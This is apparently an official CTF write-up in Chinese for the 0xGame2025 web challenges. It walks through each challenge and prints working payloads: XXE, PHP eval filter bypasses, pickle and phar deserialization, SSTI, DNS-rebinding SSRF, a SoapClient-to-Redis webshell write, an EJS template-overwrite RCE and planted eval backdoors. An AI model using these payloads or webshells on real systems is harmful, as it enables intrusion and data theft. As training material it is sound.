0xGame2025 Official Web (第一次出题有点不熟练,下次NCTF给整点新活)
(Important是题面)
(Note为吐槽)
(总感觉Week之间的差别很大,不知道为什么)
(Week1感觉出得太烂了)
(前三周群里被人说太简单,要加难度,所以我决定放一点好东西)
Week1 Lemon
[!NOTE]
灵感来源去年的0xGame
[!IMPORTANT]
那一天的忧郁,忧郁起来~那一天的寂寞,寂寞起来~连同着迷整个炎炎夏日,那般滋味,那个你~
时代少年团,我们喜欢你
禁用了右键和F12,但实际上,禁用了个寂寞,你会发现你一直按F12,是可以强行进去的(
使用快捷键
Windows/Linux :直接按 Ctrl + U
Mac :按 Command + Option + U
Http的真理,我已解明
[!NOTE]
万事开头难啊
[!IMPORTANT]
科学上网
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Reference/Headers
比赛过程中发现很多师傅被safari和clash卡住了,感觉是因为这两个太过于常见了,然后可能以为真的要用这个去访问/代理,是我考虑不周了
为什么没有XFF?因为被WAF掉了
1 2 3 4 5 6 7 8 POST /?hello=web HTTP/1.1 Host: 127.0.0.1:30002 User-Agent: Safari Cookie:Sean=god Referer:www.mihoyo.com Via:clash http=good
留言板(粉)
[!NOTE]
基础XXE
[!IMPORTANT]
输入你喜欢的内容吧(登录请附带login.php)
正题:
(非预期是啥就不说了,有点尴尬)
进来看到登陆界面,直接弱密码登录(admin,admin123)
首先可以正常输入发现返回XML的报错消息,所以直接打XXE(虽然样式烂掉了但是我懒得调了)
1 2 3 4 5 <?xml version="1.0"?> <!DOCTYPE a [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <msg>&xxe;</msg>
RCE1
[!NOTE]
新生的第一份RCE,拿来练习一下命令的使用与绕过
[!IMPORTANT]
这真的很简单,不是吗
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting (0 );highlight_file (__FILE__ );$rce1 = $_GET ['rce1' ];$rce2 = $_POST ['rce2' ];$real_code = $_POST ['rce3' ];$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i' ;function check (string $text ): bool { global $pattern ; return (bool ) preg_match ($pattern , $text ); } if (isset ($rce1 ) && isset ($rce2 )){ if (md5 ($rce1 ) === md5 ($rce2 ) && $rce1 !== $rce2 ){ if (!check ($real_code )){ eval ($real_code ); } else { echo "Don't hack me ~" ; } } else { echo "md5 do not match correctly" ; } } else { echo "Please provide both rce1 and rce2" ; } ?>
MD5强比较,这里用数组绕过即可(无法处理数组,都视为NULL)
然后这边过滤了system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings和 *
所以我们无法用简单的cat /flag解决,且过滤了*,不能用f*,我们可以:
1 2 3 4 5 system 可以用 print替代 cat 可以用tac进行替代 ``表示执行里面的命令 f???表示匹配f开头的四字文件 ls可以用l\s绕过
所以最终Payload:
1 2 3 4 5 6 http://127.0.0.1:7777/?rce1[]=1 rce2[]=2&rce3=print (`tac /f???`); //rce3=readfile('/' .'fl' .'ag' );
Rubbish_Unser
[!NOTE]
灵感来源:GHCTF2025,我认为他里面的POP链非常的清晰,可以让新生更好地理解php反序列化(我没有夹带私货)
[!IMPORTANT]
把这些游戏都连起来吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php error_reporting (0 );highlight_file (__FILE__ );class ZZZ { public $yuzuha ; function __construct ($yuzuha ) { $this -> yuzuha = $yuzuha ; } function __destruct ( ) { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin ; function __get ($robin ) { $castorice = $this -> robin; eval ($castorice ); } } class HI3rd { public $RaidenMei ; public $kiana ; public $guanxing ; function __invoke ( ) { if ($this -> kiana !== $this -> RaidenMei && md5 ($this -> kiana) === md5 ($this -> RaidenMei) && sha1 ($this -> kiana) === sha1 ($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina ; function __call ($arg1 , $arg2 ) { $Charlotte = $this -> furina; return $Charlotte (); } } class Mi { public $game ; function __toString ( ) { $game1 = @$this -> game -> tks (); return $game1 ; } } if (isset ($_GET ['0xGame' ])) { $web = unserialize ($_GET ['0xGame' ]); throw new Exception ("Rubbish_Unser" ); } ?>
逻辑链很清晰
1 2 3 4 5 6 ZZZ::__destruct → __toString → Mi::__toString //当作字符串的时候触发 → GI::__call() //通过访问不存在的tks() → HI3rd::__invoke //通过调用函数来触发 → HSR::__get() //通过访问不存在的Elysia → eval
中间满足以下的条件,有三种方法
1 $this -> kiana !== $this -> RaidenMei && md5 ($this -> kiana) === md5 ($this -> RaidenMei) && sha1 ($this -> kiana) === sha1 ($this -> RaidenMei)
要求MD5和SHA1分别相等
1 2 3 4 5 6 7 a = 1 b = '1' 或者 a = 0 b = 0E1
Error类
1 $c->a=new Error("a",1);$c->b=new Error("a",2)
至于最后的throw exception,则是利用了php中的GC回收机制
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点
则EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php error_reporting (0 );highlight_file (__FILE__ );class ZZZ { public $yuzuha ; } class HSR { public $robin ; } class HI3rd { public $RaidenMei = '1' ; public $kiana = 1 ; public $guanxing ; } class GI { public $furina ; } class Mi { public $game ; } $a = new HSR ();$a ->robin = "system('env');" ;$b = new HI3rd ();$b -> guanxing = $a ;$c = new GI ();$c -> furina = $b ;$d = new Mi ();$d -> game = $c ;$e = new ZZZ ();$e -> yuzuha = $d ;$A = array ($e ,0 );echo serialize ($A );?>
Lemon_RevEnge
[!NOTE]
新生赛原型链污染不能太复杂,直接掏个能找到exp的题目来做
[!IMPORTANT]
我知道你很急着看flag,但你先别急
就是个很基本的原型链污染,网上随便都能找到对应的exp
1 { "__init__" : { "__globals__" : { "os" : { "path" : { "pardir" : "," } } } } }
Week2 明显比第一周难了一点
你好,爪洼脚本
[!NOTE]
从一个大神的博客评论区看到这个了,就直接拿来用了()
[!IMPORTANT]
挺可爱的,不是吗(用 0xGame{}包裹)
(我一开始以为只是简单复制就可以了,结果竟然输出的是半角逗号+空格,两个加起来长度跟一个中文逗号宽度差不多,让我看混了,抱歉抱歉😭😭😭)
直接浏览器运行,然后FLAG格式按照题面来就可以
0xGame{Hello,JavaScript}
马哈鱼商店
[!NOTE]
灵感来源:CISCN的ikun,然后对于pickle的考察就是入门难度,没有什么过滤
[!IMPORTANT]
买买你的游戏
首先注册账号,进去看看能买什么,这里拦截购买页面
可以发现有个折扣,而我们自身自带的10000是不足以购买的,那我们就改成 0.001,成功购买,进入pickle界面
可以看到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Use GET To Send Your Loved Data!!! BlackList = [b'\x00' , b'\x1e' ] @app.route('/pickle_dsa' ) def pic (): data = request.args.get('data' ) if not data: return "Use GET To Send Your Loved Data" try : data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print (p) return f"<p>Vamos! {p} <p>
这里就是个简单的pickle,过滤了一些不可见字符,主要是防一手直接序列化的。读取环境变量即可:
1 2 3 4 5 6 7 8 import base64opcode = '''csubprocess check_output (S'env' tR.''' .encode()print (base64.b64encode(opcode).decode())
?data = Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CihTJ2VudicKdFIu
0xGame{You_Have_Learned_How_to_Buy_Pickle!!}
404NotFound_rEvenGe
[!NOTE]
之前做题的时候有看到这个,感觉用这个做SSTI会很不错,但是怎么跟去年撞了,算了算了,套层waf直接404复仇一下吧
[!IMPORTANT]
你虽然想查看flag,但是404了该怎么办
进去看到什么都没有,随便输一点发现将目录回显到页面上了,尝试SSTI,发现了被拦截了,直接fuzz
fuzz测试发现,过滤了一下字符:
1 'sys', 'subprocess', 'eval', 'exec', 'lambda', 'input', 'init', 'class', 'set','.', 'from', 'flask', 'request', 'os', 'import', 'subclasses','dict', 'globals', 'locals', 'self', 'config', 'app', 'popen', 'file', 'templates'
发现没有过滤{%%},直接尝试:{%print(7*7)%},也可以直接49
成功回显了49,证明存在SSTI漏洞,直接常规payload打就是了(也可以尝试尝试url或者request等方法)
1 {{lipsum['__glo'+'bals__']['__bui'+'ltins__']['__imp'+'ort__']('so'[::-1])['po'+'pen']('cat /flag')|attr('read')()}}
(新生赛就别fenjing了吧)
(其实我拦了一下fenjing,但是你改了UA头还是可以照样梭的)
(万一没改UA也没拦住怎么办,那就一把梭了吧)
DNS想要玩
[!NOTE]
感觉基本的SSRF有点送分,自己又不想搞什么需要很多步才能出的题目(新生赛),索性直接就用DNS重绑定,而且直接用SSRF+DNS搜应该能直接知道怎么做
[!IMPORTANT]
今天的DNS有点臭了
正题:
(本来想出DNS重绑定的,欸欸欸)
(这题出的有的烂了,致歉)
(被非预期完了,我的天)
(标题与内容无关,不会写前端(哭))
首先进去能看到源码,简单整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from flask import Flask, requestfrom urllib.parse import urlparseimport socketimport osapp = Flask(__name__) BlackList=[ 'localhost' , '@' , '172' , 'gopher' , 'file' , 'dict' , 'tcp' , '0.0.0.0' , '114.5.1.4' ] def check (url ): url = urlparse(url) host = url.hostname host_acscii = host.encode('idna' ).decode('utf-8' ) return socket.gethostbyname(host_acscii) == '114.5.1.4' @app.route('/' ) def index (): return open (__file__).read() @app.route('/ssrf' ) def ssrf (): raw_url = request.args.get('url' ) if not raw_url: return 'URL Needed' for u in BlackList: if u in raw_url: return 'Invaild URL' if check(raw_url): return os.popen(request.args.get('cmd' )).read() else : return "NONONO" if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=8000 )
可以看到过滤了114.5.1.4,但是需要满足hostname是114.5.1.4,可以使用DNS重绑定(10 封私信 / 80 条消息) 浅谈DNS重绑定漏洞 - 知乎
这里我们用这个网站:rbndr.us dns rebinding service
可以简单测试一下:
然后直接/ssrf?url=http://72050104.c0a80002.rbndr.us&cmd=ls /
0xGame{DNS_Rebinding_is_Really_Magical}
(随机解析说是,不行的话可以多试试)
Plus_plus
[!NOTE]
灵感来源于某次刷题遇到的自增
[!IMPORTANT]
你可以先试着加一下
这边进去之后发现什么都没有,查看源码后可以看到?0xGame的提示,随便GET传入一个值后就可以看到源码
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (isset ($_GET ['0xGame' ])) { highlight_file (__FILE__ ); } if (isset ($_POST ['web' ])) { $web = $_POST ['web' ]; if (strlen ($web ) <= 120 ) { if (is_string ($web )) { if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-BD-GI-Z~\\\\]/" , $web )) { eval ($web ); } else { echo ("NONONO!" ); } } else { echo "No String!" ; } } else { echo "Too Long!" ; } } ?>
贴一个检测没有过滤什么字符的脚本:
1 2 3 4 5 6 7 8 9 10 <?php $pass ='' ;for ($i =32 ;$i <127 ;$i ++){ if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , chr ($i ))) { $pass = $pass .chr ($i ); } } echo "当前能过waf的字符:" .$pass ."\n" ;
过滤了所有字母,但是没有过滤$,可以考虑一个自增,然后呢发现没有过滤C和H,其实也是暗示可以用chr来进行转换了
Payload: (记得用URL编码一下,不然生效不了)
1 $_=[]._;$__=$_[1];$_=$_[0];$_++;$_0=++$_;$_++;$_++;$_++;$_++;$_=$_0.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
自增演示过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $_ = [].'_' ;$__ = $_ [1 ]; $_ = $_ [0 ]; $_ ++;$_ ++; $_0 = $_ ; $_ ++;$_ ++;$_ ++;$_ ++; $__ = $_0 .++$_ .$__ ;$_ = '_' .$__ (71 ).$__ (69 ).$__ (84 );echo $_ ;echo "</br>" ;echo $_0 ;echo "</br>" ;echo $__ ;
我只想要你的PNG!
[!NOTE]
灵感来源:CISCN的EasyWeb,因为条件竞争题目出不出来(电脑测试到红温了),遂改成这个
[!IMPORTANT]
上传你的头像!虽然上传了我也不想用也不想让你看
进去发现上传图片,简单上传看看,发现返回了个路径,访问发现,欸?怎么404了,便回到index.php查看源码:
发现有个check.php,简单查看,发现回显了文件名,再看到文件后缀php,便诞生了文件名写马的想法
抓包改成一句话木马,然后蚁剑连接即可 <?php eval($_POST['1']);?>1.png
这真的是反序列化
[!NOTE]
来源:DASCTF X GFCTF 2022十月挑战赛,当时刷题看到了,就放进来了,但是把提权给删了
[!IMPORTANT]
比起POP链,我更喜欢没有链
看一下源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );error_reporting (0 );class pure { public $web ; public $misc ; public $crypto ; public $pwn ; public function __construct ($web , $misc , $crypto , $pwn ) { $this ->web = $web ; $this ->misc = $misc ; $this ->crypto = $crypto ; $this ->pwn = $pwn ; } public function reverse ( ) { $this ->pwn = new $this ->web ($this ->misc, $this ->crypto); } public function osint ( ) { $this ->pwn->play_0xGame (); } public function __destruct ( ) { $this ->reverse (); $this ->osint (); } } $AI = $_GET ['ai' ];$ctf = unserialize ($AI );?>
这边发现没有POP链,但注意到这边$this->pwn->play_0xGame();引用了一个不存在的函数,可以想到用SoapClient类,刚好访问不存在的函数可以触发它里面的__call(),而且hint写了Redis20251206,很明显是用SoapClientSSRF来打Redis,而后面的20251206就是Redis的密码
https://blog.csdn.net/qq_42181428/article/details/100569464
soap导致的SSRF-先知社区
PHP: SoapClient - Manual
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class pure { public $web ; public $misc ; public $crypto ; public $pwn ; } $a = new pure ();$a ->web = 'SoapClient' ;$a ->misc = null ;$target = 'http://127.0.0.1:6379/' ;$poc = "AUTH 20251206\r\nCONFIG SET dir /var/www/html/\r\nCONFIG SET dbfilename shell.php\r\nSET x '<?= @eval(\$_POST[1]) ?>'\r\nSAVE" ;$a ->crypto = array ('location' => $target , 'uri' => "hello\"\r\n" . $poc . "\r\nhello" );echo urlencode (serialize ($a ));
然后蚁剑连接后env即可
Week3 这周难度其实跟上一周差不多,真的
这真的是文件上传
[!NOTE]
灵感来源:2025/10/11羊城杯staticNodeService,原作者gtg2619,因为这个参加这个比赛有点难受所以打算fork一下让新生/老登也难受一下,不过在羊城杯中解数其实挺多的,所以应该在0x中解数也不会太少,至少不会跟那个DASCTF X GFCTF的easyLove差不多吧(
[!IMPORTANT]
比起有按钮有注释hint的文件上传,我更喜欢什么都没有
特意削了一波难度,然后就可以放上来了(我超,🐏!)
上来可以看到源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 const express = require ('express' );const ejs = require ('ejs' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); const STATIC_DIR = __dirname;function serveIndex (req, res ) { var whilePath = ['index' ]; var templ = req.query .templ || 'index' ; if (!whilePath.includes (templ)){ return res.status (403 ).send ('Denied Templ' ); } var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { res.status (500 ).send ('Error' ); } } app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' && typeof req.query .templ !== null ) ) res.status (500 ).send ('Error' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); }) app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); } res.status (201 ).send ('Success' ); }); }); app.listen (PORT , () => { console .log (`running on port 3000` ); });
首先能看到一个渲染文件的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function serveIndex (req, res ) { var whilePath = ['index' ]; var templ = req.query .templ || 'index' ; if (!whilePath.includes (templ)){ return res.status (403 ).send ('Denied Templ' ); } var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { res.status (500 ).send ('Error' ); } }
这边限定了只能够渲染index,然后只需要传?templ=xxx就可以渲染并返回一个页面
但是这边有个WAF
1 2 3 4 5 6 7 8 9 10 11 12 app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' && typeof req.query .templ !== null ) ) res.status (500 ).send ('Error' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); })
可以看到过滤了js结尾和..这样子的目录穿越,但是可以使用/.进行绕过,因为/.表示当前目录,且在绝对路径
path.normalize(path) | Node.js API 文档
中,/a/b/.其实等效于/a/b,不如直接写个POC:
1 2 3 4 5 6 const path = "/views/eg.ejs/." if (/js$|\.\./i .test (path)) console .log ("Not allowed" ) else console .log ("Allowed" )
然后看文件上传,这边允许使用PUT方法上传文件,且文件内容需要base64编码,例如
{"content":"b64encode()"}然后文件名称直接在URL后面跟即可
1 2 3 4 5 6 7 8 9 10 app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); } res.status (201 ).send ('Success' ); }); });
注意看,这边并没有限制文件名称,结合之前只允许渲染index,可以想到直接重写index.ejs然后上传并渲染
但问题来了,我该怎么获取FLAG?
xz.aliyun.com/news/11769
很明显的是,当使用/views/?templ=index.ejs后,index.ejs被解析,而ejs模板同FLASK和Bottle一样,同样存在SSTI(当然,这题其实并不需要使用templ功能,笑)
index.ejs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>SSTI</title> </head> <body> <h1>ENV</h1> <hr> <ul> <%= process.mainModule.require('child_process').execSync('env').toString() %> </ul> <hr> </body> </html>
然后base64之后
1 2 3 4 5 PUT /views/index.ejs/. Content-Type:application/json {"content":"PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvc3RyaWN0LmR0ZCI+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPjx0aXRsZT5TU1RJPC90aXRsZT48L2hlYWQ+PGJvZHk+PGgxPkVOVjwvaDE+PGhyPjx1bD48JT0gcHJvY2Vzcy5tYWluTW9kdWxlLnJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjU3luYygnZW52JykudG9TdHJpbmcoKSAlPjwvdWw+PGhyPjwvYm9keT48L2h0bWw+"}
然后访问GET /views/?templ=index.ejs即可得到flag
文件查询器(蓝)
[!NOTE]
灵感来源:[NSSRound#4 SWPU]1zweb,作为新生赛的题目,原本的预期解应该是直接上传phar文件就可以了,后面想一想还是让新生做点bypass,这样可以对phar理解更深一点,这题其实我没测(不懂会不会死掉或者下线,反正都放在这里),二编:测了然后死了,由于时间太赶,干脆直接砍成直接phar
[!IMPORTANT]
这是一个文件查询器,来看看你喜欢的源码吧
直接搜index.php和upload.php可以看到两个的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来占位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } } $file =$_POST ['file' ];if (isset ($_POST ['file' ])){ if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting (0 );$White_List = array ("jpg" , "png" , "pdf" );$temp = explode ("." , $_FILES ["file" ]["name" ]);$extension = end ($temp );if (($_FILES ["file" ]["size" ] && in_array ($extension , $White_List ))){ $content =file_get_contents ($_FILES ["file" ]["tmp_name" ]); $pos = strpos ($content , "__HALT_COMPILER();" ); if (gettype ($pos )==="integer" ) { die ("你猜我想让你干什么喵" ); } else { if (file_exists ("./upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " Already exists. " ; } else { $file = fopen ("./upload/" .$_FILES ["file" ]["name" ], "w" ); fwrite ($file , $content ); fclose ($file ); echo "Success ./upload/" .$_FILES ["file" ]["name" ]; } } } else { echo "请重新尝试喵" ; } ?>
然后这边过滤了一大堆函数,但其实发现shell_exec没有被过滤,就构造shell_exec('env')即可
下面这段利用file_get_contents读取文件,可以使用phar协议(其实看过滤了这么多协议也可以猜到一点)
1 2 3 4 5 6 7 8 9 $file =$_POST ['file' ];if (isset ($_POST ['file' ])){ if (preg_match ("/[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
所以EXP如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class MaHaYu { public $HG2 = "shell_exec" ; public $ToT = "unused" ; public $FM2tM = "env" ; } $a = new MaHaYu ();$phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $phar ->setMetadata ($a ); $phar ->addFromString ("test.txt" , "test" ); $phar ->stopBuffering ();
因为upload.php中需要校验phar文件内容,所以直接gzip压缩后更改后缀为png上传
index.php查询phar://upload/xxx.png即可
长夜月
[!NOTE]
灵感来源:星穹铁道长夜月 + LitCTF OtenkiGirl
[!IMPORTANT]
「翁法罗斯的三月,是属于永夜之帷的时间…就以『长夜月』这个名字,来称呼这具化身——『她』的影子吧」
(本来没有源码一直都是0解,后面放了源码后能直接秒了)
首先打开网页(我感觉这个图片很好看)
注意到:(但好像平台上不显示这个)
用node.js写的,先留个悬念
然后随便注册一个账号进去看看
发现需要管理员,就回去尝试注册一个管理员,发现已经存在
可以抓包登录界面看看,可以发现JWT,然后解码发现存在username和password,那我们尝试将username更改为admin,然后编码后上传:
然后进入到长夜月的页面,看到提示:
先提交数据看看:
可以发现有一个min_public_time,尝试改一下时间发现可以跳转,看看试试:
好吧,什么都没有,结合之前看到的用node.js编写,想到可能是JS原型链污染,就尝试payload:
1 2 3 4 5 6 7 8 { "name" : "EverNight" , "default_path" : "The Remembrance" , "place" : "Amphoreus" , "__proto__" : { "min_public_time" : "2024-08-03" } }
然后到达/March_7th(实际题目已更正,不存在此路由)
0xGame{Back_to_Earth_in_Evernight}
New_Python!
[!NOTE]
灵感来源:LilCTF2025LamentXU出的Ekko_note,我爱LamentXU(),random可用参数为a,b,c,所以可以藏三个地方
[!IMPORTANT]
密码的,到底哪里有UUID8?
收LilCTF的启发,我也想搞一个UUID8的题目,但好像没啥意义,就当Week3的签到吧
可以看到这里的UUID8一共有三个参数,那么一个一个找即可(因为LilCTF考的是利用random.seed()生成唯一的UUID8,这里就换个口味(bushi))
如果没接触过的这边的附件也有提示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from Crypto.Util.number import getPrime, bytes_to_longfrom gmpy2 import invertimport randomimport uuidmsg= b'' BITS = 1024 e = 65537 p = getPrime(BITS//2 ) q = getPrime(BITS//2 ) n = p * q phi = (p - 1 ) * (q - 1 ) d = int (invert(e, phi)) key = bytes_to_long(msg) c = pow (key, e, n) dp = d % (p - 1 ) print ("n = " , n)print ("e = " , e)print ("c = " , c)print ("dp = " , dp)key = "" key = key.encode() key = int .from_bytes(key, 'big' ) pa = uuid.uuid8(a=key)
随便注册一个账号进去可以直接看解密部分,就是个简单的dp泄露,也没想出的太难,随便拿个脚本就能出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import gmpy2n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523 for k in range (1 , e): if (e * dp - 1 ) % k == 0 : p = (e * dp - 1 ) // k + 1 if n % p == 0 : q = n // p phi = (p - 1 ) * (q - 1 ) d = gmpy2.invert(e, phi) m = pow (c, d, n) try : plaintext = m.to_bytes((m.bit_length() + 7 ) // 8 , 'big' ) print ("Decrypted:" ) print (plaintext.decode('utf-8' )) except : print ("Error" ) print (m) break
然后根据以下这段可以直接知道a的值,直接复制下来print(key)即可,这跟bytes_to_long感觉差不多
1 2 3 4 5 6 key = "" key = key.encode() key = int .from_bytes(key, 'big' ) pa = uuid.uuid8(a=key)
好了,现在可以找剩下两个了,先扫扫目录看看:
很好,发现了auth这个目录,访问看看
现在得到了c的值,只差b了,尝试拦截一个页面看看
拦截可以发现b的值,现在参数都齐了,可以开始生成UUID8码,但是UUID8只有Python14和15有()
1 2 3 4 5 6 7 8 9 10 import uuidkey = "rsaisfunbutisitweborcrypto" key = key.encode() key = int .from_bytes(key, 'big' ) print (key)print (uuid.uuid8(a=key ,b=120604030108 ,c=7430469441 ))
0xGame{Only_Python14&15_UUID8}
放开我的变量
[!NOTE]
说是灵感,不如是说复制了一遍(,就是为啥N1现在不放dockerfile了,来源:N1CTF2025 Backup && 湾区杯2025 easy_readfile
[!IMPORTANT]
本人不太喜欢php8()
这湾区杯2025可太令人欣喜了()出了个跟N1CTFback类似题目,又去看了一下N1,发现这题放在新生赛的week3很不错,就尝试复现了一下,当然总感觉我复现的有其他非预期存在,不管了()
首先扫目录可以发现一个robots.txt,查看试试
这个allow没什么用,忘记删了罢(,然后看asdback.php
1 2 3 4 5 6 7 <?php highlight_file (__FILE__ );echo ("Please Input Your CMD" );$cmd = $_POST ['__0xGame2025phpPsAux' ];eval ($cmd );?> Please Input Your CMD
由题目描述可知,不是php8版本,可以轻易想到php非法变量名解析
谈一谈PHP中关于非法参数名传参问题_php非法传参-CSDN博客
为了方便后面的操作,不妨直接写个马用蚁剑连接一下(也可以直接反弹shell)
1 _[0 xGame2025phpPsAux=file_put_contents ('backdoor.php' , '<?php highlight_file(__FILE__); @eval($_POST["pass"]); ?>' );
OK,现在直接打开终端,查看一下,发现flag没有权限读
不如看看进程ps -aux
会发现以root权限执行了 /start.sh,而且没有写的权限,但是可以读
这里实现了遍历 /var/www/html/primary 所有内容
通过cp -P * /var/www/html/marstream/ 拷贝到 /var/www/html/marstream/ 并且赋予755可读可执行权限
N1CTF junior 2025 Web wp - Infernity’s Blog
1 2 3 4 cd primarytouch -- -H //echo "" > -Hln -s /flag ffcat /var/www/html/marstream/ff
消栈逃出沙箱(1)反正不会有2
[!NOTE]
参考:mini L-CTF2025、L3HCTF2024和强网杯2024PyBlockly,不懂为啥就是想出这个
[!IMPORTANT]
无
说实话我预期的这题应该没这么多解才对,但是这题也是成功的被非预期掉了,可以直接用Typthon工具一把梭
Typhon: 一种pyjail自动化绕过的思路及其粗略实现 - LamentXU - 博客园
Team-intN18-SoybeanSeclab/Typhon: pyjail (python jail) 绕过 一把梭 CTF 工具
(早知道只留Exception了,哭)
正题:
新生赛看到这种题目都不用害怕,直接搜这个题目就可以了
生成器的属性
gi_code: 生成器对应的code对象
